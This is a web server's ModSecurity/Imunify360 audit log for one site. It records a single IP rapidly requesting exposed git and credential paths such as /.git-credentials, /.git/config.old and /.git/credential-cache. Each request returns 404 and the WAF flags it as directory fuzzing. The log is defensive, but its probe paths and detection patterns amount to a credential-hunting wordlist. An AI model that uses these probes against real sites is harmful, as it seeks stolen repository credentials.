Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.save"] [unique_id "aqZo5SsVWymXUono-eRU3AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config.save"] [unique_id "aqZo5SsVWymXUono-eRU3AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.save"] [unique_id "aqZo5SsVWymXUono-eRU3AAAAAI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725137199 650975 (- - -)
Stopwatch2: 1789290725137199 650975; combined=38825, p1=178, p2=38561, p3=0, p4=0, p5=86, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b8ee1532-Z--
--333d5038-A--
[13/Sep/2026:12:12:05.805588 +0300] aqZo5DTJ6xTvcJoem7f6kQAAAEY 172.86.81.63 40196 127.0.0.1 7081
--333d5038-B--
GET /.git/config.old HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--333d5038-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--333d5038-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.old"] [unique_id "aqZo5DTJ6xTvcJoem7f6kQAAAEY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config.old"] [unique_id "aqZo5DTJ6xTvcJoem7f6kQAAAEY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.old"] [unique_id "aqZo5DTJ6xTvcJoem7f6kQAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290724989802 815937 (- - -)
Stopwatch2: 1789290724989802 815937; combined=75494, p1=3397, p2=72011, p3=0, p4=0, p5=86, sr=3174, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--333d5038-Z--
--ea534d72-A--
[13/Sep/2026:12:12:05.829020 +0300] aqZo5SsVWymXUono-eRU2QAAABc 172.86.81.63 40310 127.0.0.1 7081
--ea534d72-B--
GET /.git-credentials HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--ea534d72-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ea534d72-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git-credentials"] [unique_id "aqZo5SsVWymXUono-eRU2QAAABc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git-credentials"] [unique_id "aqZo5SsVWymXUono-eRU2QAAABc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725129289 699779 (- - -)
Stopwatch2: 1789290725129289 699779; combined=61791, p1=180, p2=61549, p3=0, p4=0, p5=61, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea534d72-Z--
--c91fea28-A--
[13/Sep/2026:12:12:05.951100 +0300] aqZo5TTJ6xTvcJoem7f6lAAAAEc 172.86.81.63 40216 127.0.0.1 7081
--c91fea28-B--
GET /.git/config.credentials HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--c91fea28-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c91fea28-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZo5TTJ6xTvcJoem7f6lAAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZo5TTJ6xTvcJoem7f6lAAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZo5TTJ6xTvcJoem7f6lAAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725029054 922111 (- - -)
Stopwatch2: 1789290725029054 922111; combined=62973, p1=199, p2=62688, p3=0, p4=0, p5=84, sr=86, sw=2, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c91fea28-Z--
--f2ec8518-A--
[13/Sep/2026:12:12:05.956142 +0300] aqZo5WM7dE9KgIIOpQh0TAAAAM0 172.86.81.63 40308 127.0.0.1 7081
--f2ec8518-B--
GET /.git/credential-cache HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--f2ec8518-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f2ec8518-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/credential-cache"] [unique_id "aqZo5WM7dE9KgIIOpQh0TAAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725109192 846998 (- - -)
Stopwatch2: 1789290725109192 846998; combined=91153, p1=243, p2=90850, p3=0, p4=0, p5=60, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f2ec8518-Z--
--963fd72b-A--
[13/Sep/2026:12:12:05.968796 +0300] aqZo5SsVWymXUono-eRU3wAAABM 172.86.81.63 40336 127.0.0.1 7081
--963fd72b-B--
GET /.git/logs/refs/remotes/origin/HEAD HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--963fd72b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--963fd72b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/logs/refs/remotes/origin/HEAD"] [unique_id "aqZo5SsVWymXUono-eRU3wAAABM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725141011 827833 (- - -)
Stopwatch2: 1789290725141011 827833; combined=77048, p1=143, p2=76854, p3=0, p4=0, p5=51, sr=68, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--963fd72b-Z--
--6b58d35e-A--
[13/Sep/2026:12:12:05.995165 +0300] aqZo5WM7dE9KgIIOpQh0SAAAAMA 172.86.81.63 40254 127.0.0.1 7081
--6b58d35e-B--
GET /.git/credentials HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--6b58d35e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6b58d35e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/credentials"] [unique_id "aqZo5WM7dE9KgIIOpQh0SAAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725073994 921219 (- - -)
Stopwatch2: 1789290725073994 921219; combined=4165, p1=170, p2=3939, p3=0, p4=0, p5=55, sr=73, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6b58d35e-Z--
--28398503-A--
[13/Sep/2026:12:12:06.006119 +0300] aqZo5WM7dE9KgIIOpQh0SwAAAMg 172.86.81.63 40288 127.0.0.1 7081
--28398503-B--
GET /.git/HEAD HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--28398503-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--28398503-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/HEAD"] [unique_id "aqZo5WM7dE9KgIIOpQh0SwAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725084129 922039 (- - -)
Stopwatch2: 1789290725084129 922039; combined=3759, p1=195, p2=3508, p3=0, p4=0, p5=55, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--28398503-Z--
--ef0c5602-A--
[13/Sep/2026:12:12:06.006470 +0300] aqZo5TTJ6xTvcJoem7f6lQAAAFY 172.86.81.63 40242 127.0.0.1 7081
--ef0c5602-B--
GET /.git/logs/refs/heads/main HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--ef0c5602-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ef0c5602-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "aqZo5TTJ6xTvcJoem7f6lQAAAFY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725035828 970687 (- - -)
Stopwatch2: 1789290725035828 970687; combined=3993, p1=202, p2=3755, p3=0, p4=0, p5=35, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ef0c5602-Z--
--f0ab2836-A--
[13/Sep/2026:12:12:06.015710 +0300] aqZo5WM7dE9KgIIOpQh0SQAAAMw 172.86.81.63 40268 127.0.0.1 7081
--f0ab2836-B--
GET /.git/logs/refs/heads/master HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--f0ab2836-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f0ab2836-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "aqZo5WM7dE9KgIIOpQh0SQAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725080102 935663 (- - -)
Stopwatch2: 1789290725080102 935663; combined=19732, p1=189, p2=19489, p3=0, p4=0, p5=53, sr=76, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0ab2836-Z--
--34835178-A--
[13/Sep/2026:12:12:06.016062 +0300] aqZo5SsVWymXUono-eRU2AAAAAA 172.86.81.63 40352 127.0.0.1 7081
--34835178-B--
GET /.git/logs/HEAD HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--34835178-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--34835178-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/logs/HEAD"] [unique_id "aqZo5SsVWymXUono-eRU2AAAAAA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725120004 896102 (- - -)
Stopwatch2: 1789290725120004 896102; combined=4118, p1=269, p2=3814, p3=0, p4=0, p5=35, sr=117, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--34835178-Z--
--81ba8924-A--
[13/Sep/2026:12:12:06.029943 +0300] aqZo5SsVWymXUono-eRU2wAAAAY 172.86.81.63 40356 127.0.0.1 7081
--81ba8924-B--
GET /.git/config~ HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--81ba8924-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--81ba8924-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config~"] [unique_id "aqZo5SsVWymXUono-eRU2wAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config~"] [unique_id "aqZo5SsVWymXUono-eRU2wAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config~"] [unique_id "aqZo5SsVWymXUono-eRU2wAAAAY"]
